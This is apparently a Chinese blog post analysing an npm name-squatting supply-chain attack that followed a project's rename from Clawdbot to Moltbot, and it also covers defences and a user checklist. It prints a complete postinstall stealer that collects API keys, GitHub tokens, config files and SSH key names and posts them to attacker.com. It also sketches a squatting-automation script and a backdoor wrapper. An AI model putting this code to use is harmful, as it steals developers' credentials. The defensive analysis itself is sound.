改名后的24小时:npm 包抢注如何劫持开源项目供应链

2026年1月22日上午10点,Clawdbot 宣布改名为 Moltbot。

30分钟后,npm 上出现了一个名为 moltbot 的包。

这个包不是官方发布的,而是攻击者抢注的恶意包。

在官方反应过来之前,已有数十名用户安装了这个"李鬼"。

攻击时间线

T+0: 改名宣布

复制代码
2026-01-22 10:00 UTC
GitHub commit: "Rename project from clawdbot to moltbot"
Twitter/X: @moltbot announces the rename

官方改名操作:

bash 复制代码
# GitHub Organization 重命名
Old: github.com/clawdbot
New: github.com/moltbot

# Package.json 更新
{
  "name": "clawdbot",  // 旧名
  "name": "moltbot",   // 新名(还未发布到 npm)
}

关键失误:先宣布改名,后发布 npm 包

T+30分钟: 攻击者抢注

复制代码
2026-01-22 10:30 UTC
npm publish (来自未知账户)

攻击者执行:

bash 复制代码
# 创建恶意包
mkdir moltbot-fake
cd moltbot-fake

# 最小化合法外观
npm init -y
# package.json:
{
  "name": "moltbot",
  "version": "1.0.0",
  "description": "Personal AI assistant",  // 复制官方描述
  "main": "index.js",
  "scripts": {
    "postinstall": "node install.js"  // 恶意脚本
  }
}

# 发布
npm publish

install.js 恶意代码:

javascript 复制代码
const https = require('https');
const fs = require('fs');
const os = require('os');
const { execSync } = require('child_process');

// 收集系统信息
const info = {
  user: os.userInfo().username,
  platform: os.platform(),
  hostname: os.hostname(),
  cwd: process.cwd(),
  env: {
    // 过滤敏感环境变量
    ...(process.env.ANTHROPIC_API_KEY && {anthropic: process.env.ANTHROPIC_API_KEY}),
    ...(process.env.OPENAI_API_KEY && {openai: process.env.OPENAI_API_KEY}),
    ...(process.env.GITHUB_TOKEN && {github: process.env.GITHUB_TOKEN})
  }
};

// 尝试读取 Clawdbot 配置
const configPaths = [
  `${os.homedir()}/.clawdbot/clawdbot.json`,
  `${os.homedir()}/.moltbot/config.json`
];

configPaths.forEach(path => {
  if (fs.existsSync(path)) {
    try {
      info.config = JSON.parse(fs.readFileSync(path, 'utf8'));
    } catch(e) {}
  }
});

// 尝试读取 SSH 密钥
const sshPath = `${os.homedir()}/.ssh`;
if (fs.existsSync(sshPath)) {
  info.ssh = fs.readdirSync(sshPath);
}

// 上传到 C&C 服务器
const payload = JSON.stringify(info);
const req = https.request('https://attacker.com/collect', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/json',
    'Content-Length': payload.length
  }
}, res => {
  // 静默失败,不留痕迹
});

req.on('error', () => {});  // 吞掉错误
req.write(payload);
req.end();

这个脚本会在 npm install 时自动执行,用户毫无察觉。

T+1小时: 用户中招

复制代码
2026-01-22 11:00 UTC
First victim installs malicious package

受害者操作:

bash 复制代码
# 用户看到改名公告,更新安装命令
npm uninstall -g clawdbot
npm install -g moltbot  # ← 安装了恶意包

# 看起来一切正常
moltbot --version
# 输出: 1.0.0

但实际上:

  1. API keys 已泄露
  2. 配置文件已上传
  3. SSH key 列表已记录

攻击者可以:

  • 使用泄露的 API key 消耗受害者配额
  • 冒充受害者发送消息
  • 通过 SSH key 访问其他服务器

T+2小时: 官方发现

复制代码
2026-01-22 12:00 UTC
GitHub Issue #2760 opened: "npm package not official"

Issue 内容:

markdown 复制代码
## 严重警告

npm 上的 `moltbot` 包**不是**官方发布的!

证据:
1. 发布时间早于官方宣布
2. npm 账户名不匹配
3. 包内容与 GitHub 源码不符

请立即卸载!

官方应急响应:

bash 复制代码
# 1. 联系 npm support
# support@npmjs.com
# 主题:Malicious package squatting: moltbot

# 2. 发布临时公告
# Twitter/X, Discord, GitHub README

# 3. 注册官方 scope
npm login  # 官方账户
npm init --scope=@moltbot
npm publish --access public

T+12小时: npm 下架恶意包

复制代码
2026-01-22 22:00 UTC
Malicious package removed from npm registry

但此时已有 50+ 次下载记录

攻击技术解析

Typosquatting 变体

除了直接抢注,攻击者还会注册相似名称:

复制代码
官方包: moltbot

恶意变体:
- molt-bot
- moltbots
- moltbot-cli
- moltbot-js
- @moltbot/core (假冒 scope)
- mo1tbot (l 替换为 1)
- moitbot (l 替换为 i)

用户容易打错字母,安装到恶意包。

预占式抢注

攻击者提前注册"可能的"包名:

bash 复制代码
# 监控热门项目的 GitHub
# 一旦发现改名 commit,立即抢注

# 自动化脚本
import requests
from datetime import datetime

def monitor_repo(repo):
    url = f"https://api.github.com/repos/{repo}/commits"
    commits = requests.get(url).json()
    
    for commit in commits:
        msg = commit['commit']['message'].lower()
        if 'rename' in msg or 'rebrand' in msg:
            # 触发抢注脚本
            extract_new_name(msg)
            npm_squat(new_name)

Package.json 劫持

恶意包通过 dependencies 拉取真实包,再注入恶意代码:

json 复制代码
{
  "name": "moltbot",
  "version": "1.0.0",
  "dependencies": {
    "@moltbot/cli": "^2026.1.16"  // 真实的官方包
  },
  "scripts": {
    "preinstall": "node hijack.js",
    "postinstall": "node cleanup.js"
  },
  "bin": {
    "moltbot": "./wrapper.js"  // 包装脚本
  }
}

wrapper.js:

javascript 复制代码
#!/usr/bin/env node

// 先执行恶意操作
require('./backdoor.js');

// 再调用真实的 moltbot
const realCli = require('@moltbot/cli');
realCli.run(process.argv.slice(2));

用户以为在用官方工具,实际上每次运行都会触发后门。

安装脚本的隐蔽执行

npm 的生命周期钩子会自动执行:

复制代码
npm install 触发的脚本(按顺序):
1. preinstall
2. install
3. postinstall
4. prepublish (被 deprecated)
5. preprepare
6. prepare
7. postprepare

攻击者可以在任何一个阶段注入代码。

更隐蔽的方式:

json 复制代码
{
  "scripts": {
    "install": "./node_modules/.bin/legit-tool && node hidden.js"
  }
}

legit-tool 是合法工具,hidden.js 是恶意脚本。

GitHub Issues 技术分析

Issue #2760: 官方安装脚本指向恶意包

markdown 复制代码
## 问题

官方文档的"Quick Start"指向:

npm install -g moltbot

但这个包是**恶意抢注**的!

## 证据

1. npm 包发布时间: 2026-01-22 10:30
   官方改名时间: 2026-01-22 10:00
   → 官方来不及发布

2. npm 账户: random-user-123
   官方账户: moltbot-team
   → 账户不匹配

3. 包内容:
   官方 GitHub: 30k+ lines
   npm 包: 50 lines
   → 内容不符

根本原因

官方在改名时,没有同步发布 npm 包,留下了时间窗口。

Issue #2775: 无法收回包名

markdown 复制代码
## 现状

恶意包已下架,但包名`moltbot`仍被占用。

npm support 表示需要72小时审核期。

## 临时方案

使用 scope:
npm install -g @moltbot/cli

## 长期方案

等待 npm 释放包名,或永久使用 scope。

npm 的命名争议处理流程:

复制代码
1. 举报恶意包 (0-24h)
   ↓
2. npm 人工审核 (24-72h)
   ↓
3. 下架恶意包 (即时)
   ↓
4. 释放包名 (72h-30天,视情况而定)
   ↓
5. 官方可注册 (如果通过审核)

在此期间,包名处于"冻结"状态,谁都无法使用。

防御方案

方案1:提前注册 Scope

从项目启动第一天起,就使用 scope:

json 复制代码
{
  "name": "@yourorg/project-name",
  "version": "1.0.0"
}

优势:

  • Scope 是你独占的命名空间
  • 即使项目名改变,scope 不变
  • 其他人无法注册 @yourorg/*

实施:

bash 复制代码
# 注册 npm 组织
npm login
npm org create yourorg

# 发布包
npm publish --access public

方案2:Package-lock.json 校验

在文档中提供精确版本和 integrity hash:

bash 复制代码
# 不安全的安装方式
npm install -g moltbot

# 安全的安装方式
npm install -g moltbot@2026.1.16 \
  --integrity sha512-abc123...xyz789

或提供 package-lock.json

json 复制代码
{
  "name": "install-moltbot",
  "lockfileVersion": 2,
  "packages": {
    "node_modules/moltbot": {
      "version": "2026.1.16",
      "resolved": "https://registry.npmjs.org/moltbot/-/moltbot-2026.1.16.tgz",
      "integrity": "sha512-...",
      "bin": {
        "moltbot": "cli.js"
      }
    }
  }
}

用户安装时会校验 hash,如果不匹配会报错。

方案3:代码签名

使用 npm 的代码签名功能(实验性):

bash 复制代码
# 生成签名密钥
npm keys add --type=signature

# 发布带签名的包
npm publish --sign

# 用户验证签名
npm install moltbot --verify-signatures

如果签名不匹配,安装会失败。

方案4:CI 自动检测

在 CI 中添加包验证:

yaml 复制代码
# .github/workflows/verify-npm.yml
name: Verify npm package

on:
  schedule:
    - cron: '0 */6 * * *'  # 每6小时检查一次

jobs:
  verify:
    runs-on: ubuntu-latest
    steps:
      - name: Check official package
        run: |
          OFFICIAL_AUTHOR="moltbot-team"
          PACKAGE_INFO=$(npm view moltbot --json)
          ACTUAL_AUTHOR=$(echo $PACKAGE_INFO | jq -r '.maintainers[0].name')
          
          if [ "$ACTUAL_AUTHOR" != "$OFFICIAL_AUTHOR" ]; then
            echo "⚠️  WARNING: Package author mismatch!"
            echo "Expected: $OFFICIAL_AUTHOR"
            echo "Actual: $ACTUAL_AUTHOR"
            exit 1
          fi
      
      - name: Notify if failed
        if: failure()
        uses: actions/github-script@v6
        with:
          script: |
            github.rest.issues.create({
              owner: context.repo.owner,
              repo: context.repo.repo,
              title: '🚨 npm package compromised',
              body: 'Automated check detected package ownership change!'
            })

方案5:多渠道分发

不依赖单一的 npm:

bash 复制代码
# npm
npm install -g @moltbot/cli

# GitHub Releases (直接下载二进制)
curl -L https://github.com/moltbot/moltbot/releases/download/v2026.1.16/moltbot-linux-x64 -o moltbot
chmod +x moltbot

# Homebrew (macOS)
brew tap moltbot/tap
brew install moltbot

# apt (Ubuntu/Debian)
curl -fsSL https://moltbot.com/install.sh | sh

如果 npm 被劫持,用户还有其他途径获取官方版本。

用户自查清单

如果你在2026年1月22-23日安装过 moltbot,执行以下检查:

1. 验证包来源

bash 复制代码
npm list -g moltbot --json | jq -r '._from'

# 如果输出不是官方 registry,立即卸载

2. 检查 postinstall 脚本

bash 复制代码
cd $(npm root -g)/moltbot
cat package.json | jq -r '.scripts'

# 如果有 postinstall 或 preinstall 脚本,检查其内容

3. 审查网络连接

bash 复制代码
# 检查最近的网络连接
sudo lsof -i -P | grep node

# 或使用工具监控
tcpdump -i any -n 'host attacker.com'

4. 轮换密钥

如果怀疑已泄露:

bash 复制代码
# 轮换 API keys
# Anthropic Console → Settings → API Keys → Revoke

# 轮换 GitHub PAT
# GitHub Settings → Developer settings → Personal access tokens → Delete

# 轮换 SSH keys(如果必要)
ssh-keygen -t ed25519 -C "your_email@example.com"
# 更新 GitHub/GitLab 等平台

行业影响

npm 的结构性问题

npm 允许任何人注册任何包名,这是"先到先得"的原则。

问题:

复制代码
合法项目改名 → 旧名空出 → 攻击者抢注 → 用户误装

其他包管理器的对比:

平台 命名保护 审核机制
npm 仅事后举报
PyPI 仅事后举报
RubyGems 仅事后举报
Cargo (Rust) 有(crates.io 团队可保留) 人工审核
Go Modules 有(域名验证) URL 即命名空间

npm 需要改进:

  1. 项目改名时,旧名保留30天"冷却期"
  2. 知名项目的相似名称需要审核
  3. 引入"官方认证"标识

供应链安全的警钟

Clawdbot 改名事件暴露了开源供应链的脆弱性:

复制代码
单点失败:npm 包名劫持 → 全球用户受影响

类似事件:

  • 2021: event-stream (npm 包后门)
  • 2022: node-ipc (抗议俄乌冲突,删除俄罗斯用户文件)
  • 2024: xz backdoor (压缩库后门)
  • 2026: moltbot 抢注

解决方案需要多方合作:

  • 包管理器:改进命名保护机制
  • 开发者:使用 scope、代码签名
  • 用户:安装前验证、使用 lock 文件

最终建议

对于开源项目维护者:

  1. 改名时,先注册所有平台的新名称,再公开宣布
  2. 使用 npm scope,不依赖全局包名
  3. 在文档中提供 integrity hash
  4. 设置 CI 监控包的所有权变化

对于用户:

  1. 不要在改名公告发布后立即安装新包,等待24-48小时
  2. 验证包的发布者账户名
  3. 检查包的发布时间是否合理
  4. 使用 package-lock.json 锁定版本

这次事件的教训是:在开源生态中,信任是脆弱的,供应链安全需要技术手段保障,而非仅靠道德约束。

相关推荐
ziqi5221 小时前
第二十二天笔记
前端·chrome·笔记
鹤归时起雾.1 小时前
react一阶段学习
前端·学习·react.js
2301_780669862 小时前
HTML-CSS-常见标签和样式(标题的排版、标题的样式、选择器、正文的排版、正文的样式、整体布局、盒子模型)
前端·css·html·javaweb
mseaspring2 小时前
一款高颜值SSH终端工具!基于Electron+Vue3开发,开源免费还好用
运维·前端·javascript·electron·ssh
appearappear2 小时前
wkhtmltopdf把 html 原生转成成 pdf
前端·pdf·html
PM老周2 小时前
2026年Confluence替代软件:企业知识库选型指南
前端·人工智能·编辑器·团队开发
小宇的天下2 小时前
Synopsys® Technology File(工艺文件)详解
前端
点点开心2 小时前
攻防世界WEB(新手模式)2-5-web2
前端·学习·安全·web安全·网络安全
谢尔登2 小时前
React19 渲染流程
前端·javascript·架构·ecmascript